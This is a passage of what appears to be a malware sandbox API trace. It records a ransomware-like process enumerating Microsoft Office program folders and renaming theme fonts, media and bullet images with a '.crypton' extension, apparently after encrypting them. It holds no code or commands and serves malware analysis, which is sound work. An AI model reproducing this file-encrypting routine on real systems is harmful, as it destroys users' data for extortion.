Fonts\\Urban.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.crypton"), dwFlags=0x2) returned 1 [0086.729] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.crypton"), dwFlags=0x2) returned 1 [0086.733] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.crypton"), dwFlags=0x2) returned 1 [0086.734] GetFileType (hFile=0x1f0) returned 0x1 [0086.739] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb10f0880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb10f0880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0086.744] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb10f0880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb10f0880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0086.745] GetFileType (hFile=0x198) returned 0x1 [0086.751] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb11169e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb11169e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549810 [0086.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.crypton"), dwFlags=0x2) returned 1 [0087.189] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.crypton"), dwFlags=0x2) returned 1 [0087.209] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav.crypton"), dwFlags=0x2) returned 1 [0087.219] CreateFileW (lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab094, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0087.221] GetFileType (hFile=0x198) returned 0x1 [0087.241] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav.crypton"), dwFlags=0x2) returned 1 [0087.259] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif.crypton"), dwFlags=0x2) returned 1 [0087.274] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif.crypton"), dwFlags=0x2) returned 1 [0087.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.crypton"), dwFlags=0x2) returned 1 [0087.298] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif.crypton"), dwFlags=0x2) returned 1 [0087.310] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif.crypton"), dwFlags=0x2) returned 1 [0087.326] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.crypton"), dwFlags=0x2) returned 1 [0087.334] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.crypton"), dwFlags=0x2) returned 1 [0087.351] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.crypton"), dwFlags=0x2) returned 1 [0087.359] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb16e3f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb16e3f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0087.360] GetFileType (hFile=0x198) returned 0x1 [0087.366] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb16e3f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb16e3f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549810 [0087.558] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.crypton"), dwFlags=0x2) returned 1 [0087.565] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb18d3160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb18d3160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549810 [0087.572] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb18d3160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb18d3160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549810 [0087.600] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif.crypton"), dwFlags=0x2) returned 1 [0087.602] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif.crypton"), dwFlags=0x2) returned 1 [0087.604] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif.crypton"), dwFlags=0x2) returned 1 [0087.758] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif.crypton"), dwFlags=0x2) returned 1 [0087.761] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif.crypton"), dwFlags=0x2) returned 1 [0087.764] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif.crypton"), dwFlags=0x2) returned 1 [0087.765] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif.crypton"), dwFlags=0x2) returned 1 [0087.767] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif.crypton"), dwFlags=0x2) returned 1 [0087.770] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif.crypton"), dwFlags=0x2) returned 1 [0087.774] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif.crypton"), dwFlags=0x2) returned 1 [0087.777] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif.crypton"), dwFlags=0x2) returned 1 [0087.779] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif.crypton"), dwFlags=0x2) returned 1 [0087.781] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif.crypton"), dwFlags=0x2) returned 1 [0087.783] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif.crypton"), dwFlags=0x2) returned 1 [0087.786] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif.crypton"), dwFlags=0x2) returned 1 [0087.789] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif.crypton"), dwFlags=0x2) returned 1 [0087.790] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif.crypton"), dwFlags=0x2) returned 1 [0087.793] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif.crypton"), dwFlags=0x2) returned 1 [0087.795] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif.crypton"), dwFlags=0x2) returned 1 [0087.797] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif.crypton"), dwFlags=0x2) returned 1 [0087.799] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif.crypton"), dwFlags=0x2) returned 1 [0087.801] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif.crypton"), dwFlags=0x2) returned 1 [0087.803] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif.crypton"), dwFlags=0x2) returned 1 [0087.804] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif.crypton"), dwFlags=0x2) returned 1 [0087.806] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif.crypton"), dwFlags=0x2) returned 1 [0087.809] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif.crypton"), dwFlags=0x2) returned 1 [0087.810] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif.crypton"), dwFlags=0x2) returned 1 [0087.813] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif.crypton"), dwFlags=0x2) returned 1 [0087.815] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif.crypton"), dwFlags=0x2) returned 1 [0087.819] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif.crypton"), dwFlags=0x2) returned 1 [0087.820] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif.crypton"), dwFlags=0x2) returned 1 [0087.822] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif.crypton"), dwFlags=0x2) returned 1 [0087.824] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif.crypton"), dwFlags=0x2) returned 1 [0087.826] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif.crypton"), dwFlags=0x2) returned 1 [0087.829] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif.crypton"), dwFlags=0x2) returned 1 [0087.831] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF" (normalized: "c:\\program files\\microsoft 